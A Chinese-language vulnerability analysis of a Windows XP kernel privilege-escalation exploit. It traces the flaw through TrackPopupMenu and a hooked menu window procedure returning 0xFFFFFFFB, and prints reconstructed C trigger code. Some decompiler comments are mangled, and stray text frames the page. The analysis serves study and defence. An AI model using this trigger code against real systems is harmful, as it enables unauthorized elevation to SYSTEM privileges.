3331

0x00 簡介

通過VMware和Windbg搭建32位內核調試環境，系統為xp sp2，執行漏洞利用程序win32.exe calc.exe，彈出了一個SYSTEM權限的calc。

enter image description here

通過IDA分析win32.exe，可以看到signed int __cdecl sub_4010F2()函數通過調用ZwQuerySystemInformation泄露內核模塊ntkrnlpa.exe基址，最終得到PsLookupProcessByProcessId函數地址，該函數用于漏洞利用代碼。

enter image description here

sub_401830函數是漏洞利用代碼，完成權限提升操作。

enter image description here

0x01 調試過程

通過在函數上設置斷點，可以得到漏洞利用觸發位置。

enter image description here

可見是由TrackPopupMenu最終觸發了漏洞，調用點為call dwordptr[esi+20]，此時esi的值為0xfffffffb。通過函數調用棧，對esi值的來源進行反向跟蹤，可以知道在Menu的消息處理函數signed int __stdcall xxxHandleMenuMessages(int a1, int a2, int a3)中調用int __stdcall xxxMNFindWindowFromPoint(int a1, int a2, unsigned int a3)時返回了異常的值，最終觸發了漏洞。

enter image description here

通過對xxxMNFindWindowFromPoint的調用過程進行分析，找到異常的返回值是在int __stdcall SfnOUTDWORDINDWORD(int a1, int a2, int a3, int a4, int a5, int a6, char a7, int a8)中得到的。異常的值最終是由KeUserModeCallback函數通過v28指向的值返回。其中KeUserModeCallback函數的原型如下：

#!cpp
NTSTATUS
KeUserModeCallback (
     IN ULONGApiNumber,
     IN PVOIDInputBuffer,
     IN ULONGInputLength,
     OUT PVOID *OutputBuffer,
     IN PULONGOutputLength
     );

enter image description here

內核態的KeUserModeCallback函數最終會調用ntdll中的KiUserCallbackDispatcher函數來調用用戶態回調函數，通過對KeUserModeCallback、KiUserCallbackDispatcher設置斷點，可以看到第一次處理0x1EB(MN_FINDWINDOWFROMPOINT)消息是通過xxxSendMessageTimeout中調用的xxxCallHook來調用用戶注冊的鉤子函數，在用戶空間里函數調用了USER32中的__fnOUTDWORDINDWORD函數，最終調用sub_401475（pfnFilterProc）函數。

enter image description here

程序在pfnFilterProc中通過SetWindowLongA設置PopupMenu的窗口消息處理函數，那么當xxxCallHook函數返回后，圖中的!(*(_BYTE *)(a1 + 22) & 4)條件成立，將執行xxxSendMessageToClient，該函數內將執行KeUserModeCallback，最終調用用戶態函數sub_4013F3。

enter image description here

sub_4013F3函數尾部返回了0xFFFFFFFB。與KeUserModeCallback函數通過v28返回的值相等。為了進一步確認，修改sub_4013F3函數返回值為0xFFFFFFFF。可以看到v28指向的值變成了0xFFFFFFF。

enter image description here

通過修改win32.exe中的指令，將0x40146D處的push 0FFFFFFFBh修改為push 0FFFFFFFFh，執行之后發現提權失敗。進一步確定由于內核的使用了異常的函數返回值，最終導致了權限提升。

enter image description here

可見在PopupMenu的窗口消息處理函數處理0x1EB的消息時，沒有判斷消息函數的返回值，最終導致了權限提升。所以漏洞觸發的完整過程如下：通過模仿點擊事件，CreatePopupMenu創建的PopupMenu會收到0x1EB類型的消息，因為無法拿到PopupMenu的窗口句柄，程序并沒有辦法直接設置PopupMenu的窗口消息處理函數，因此首先通過SetWindowsHookExA注冊鉤子函數，在鉤子函數中得到PopupMenu的窗口句柄，再通過SetWindowLongA設置PopupMenu的窗口消息處理函數，注冊之后，xxxSendMessageToClient將調用新的窗口消息處理函數，接收并處理0x1EB的消息。在新的窗口消息處理函數中，對于消息號為0x1EB的消息，函數返回了0xFFFFFFFB，最終觸發了漏洞。

enter image description here

0x02 觸發代碼

通過上面的分析，根據win32.exe中代碼，稍加簡化，可以得到如下的漏洞觸發代碼。

#!cpp
#include"stdafx.h"
#include<windows.h>
DWORD dword_40DA54=0,dword_40DA5C=0;
WNDPROC lpPrevWndFunc = NULL;
LRESULT CALLBACK sub_4014D2(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam )
{
if ( Msg == WM_ENTERIDLE )
  {
if ( dword_40DA5C != 1 )
    {
      dword_40DA5C = 1;
//模仿點擊消息，觸發0x1EB消息處理，執行pfnFilterProc
      PostMessageA(hWnd, WM_KEYDOWN, 0x28u, 0);
      PostMessageA(hWnd, WM_KEYDOWN, 0x27u, 0);
      PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0);
    }
  }
return DefWindowProcA( hWnd,Msg,wParam,lParam);
}
int __cdecl sub_401306()
{
  HMENU v0; // [email protected]
  HMENU v1; // [email protected]
  MENUITEMINFOA mi; // [sp+Ch] [bp-64h]@1
  MENUITEMINFOA v4; // [sp+3Ch] [bp-34h]@1
  HMENU v9; // [sp+6Ch] [bp-4h]@1

  v9 = 0;
  memset((void *)&mi, 0, sizeof(mi));
  memset(&v4, 0, sizeof(MENUITEMINFOA));
  mi.cbSize = 48;
  v0 = CreatePopupMenu();
if ( v0 )
  {
    mi.fMask = 64;
if ( InsertMenuItemA(v0, 0, 1, &mi) )
    {
      v4.fMask = 68;
      v4.dwTypeData = (LPSTR)&dword_40DA54;
      v4.cch = 1;
      v4.hSubMenu = v0;
      v4.cbSize = 48;
      v1 = CreatePopupMenu();
      v9 = v1;
if ( !v1 || !InsertMenuItemA(v1, 0, 1, (LPCMENUITEMINFOA)&v4) )
      {
        DestroyMenu(v0);
if ( v1 )
          DestroyMenu(v1);
      }
    }
else
      DestroyMenu(v0);
  }
return (int)v9;
}

unsigned int __stdcall sub_4013F3(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
if ( Msg != 0x1EB )
return CallWindowProcA(lpPrevWndFunc, hWnd, Msg, wParam, lParam);
return 0xFFFFFFFBu;//返回xFFFFFFFB，觸發漏洞
}

LRESULT __stdcall pfnFilterProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if ( *(DWORD *)(lParam + 8) == 0x1EB )
  {
        UnhookWindowsHook(4, pfnFilterProc);
        //設置PopupMenu的窗口消息處理函數
        lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam + 12), -4, (LONG)sub_4013F3);
  }
return CallNextHookEx(0, nCode, wParam, lParam);
}

int __stdcall Exp()
{
int v1; // [email protected]
  DWORD v2; // [email protected]
int result; // [email protected]
  HWND hWnd; // [sp+10h] [bp-58h]@2
signed int v5; // [sp+14h] [bp-54h]@1
  LPVOID lpAddress; // [sp+18h] [bp-50h]@1
struct _SYSTEM_INFO SystemInfo; // [sp+1Ch] [bp-4Ch]@1
  WNDCLASSA WndClass; // [sp+40h] [bp-28h]@1
  v5 = 0;
  lpAddress = 0;
  memset(&SystemInfo, 0, 0x24u);
  memset(&WndClass, 0, 0x28u);
  WndClass.lpfnWndProc = (WNDPROC)sub_4014D2;
  WndClass.lpszClassName = "woqunimalegebi";
  GetNativeSystemInfo(&SystemInfo);
if ( 
SystemInfo.dwOemId != 9
&& (RegisterClassA(&WndClass)
&&(hWnd = CreateWindowExA(0, WndClass.lpszClassName, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0)) !=0) 
)
  {
v1 = 0;
v5 = 1;
    v1 = sub_401306();
    if ( v1 )
    {
        v2 = GetCurrentThreadId();
        SetWindowsHookExA(4, pfnFilterProc, 0, v2);
        TrackPopupMenu((HMENU)v1, 0, 0xFFFFD8F0u, 0xFFFFD8F0u, 0, hWnd, 0);
    }
    DestroyWindow(hWnd);
if ( v1 )
      DestroyMenu((HMENU)v1);
    UnhookWindowsHook(4, pfnFilterProc);
if ( v5 )
      VirtualFree(lpAddress, 0, 0x8000u);
    result = 0;
  }
else
    result = 0;
return result;
}

int _tmain(int argc, _TCHAR* argv[])
{
    Exp();
    return 0;
}

編譯執行之后，可以看到觸發了異常。

enter image description here

97av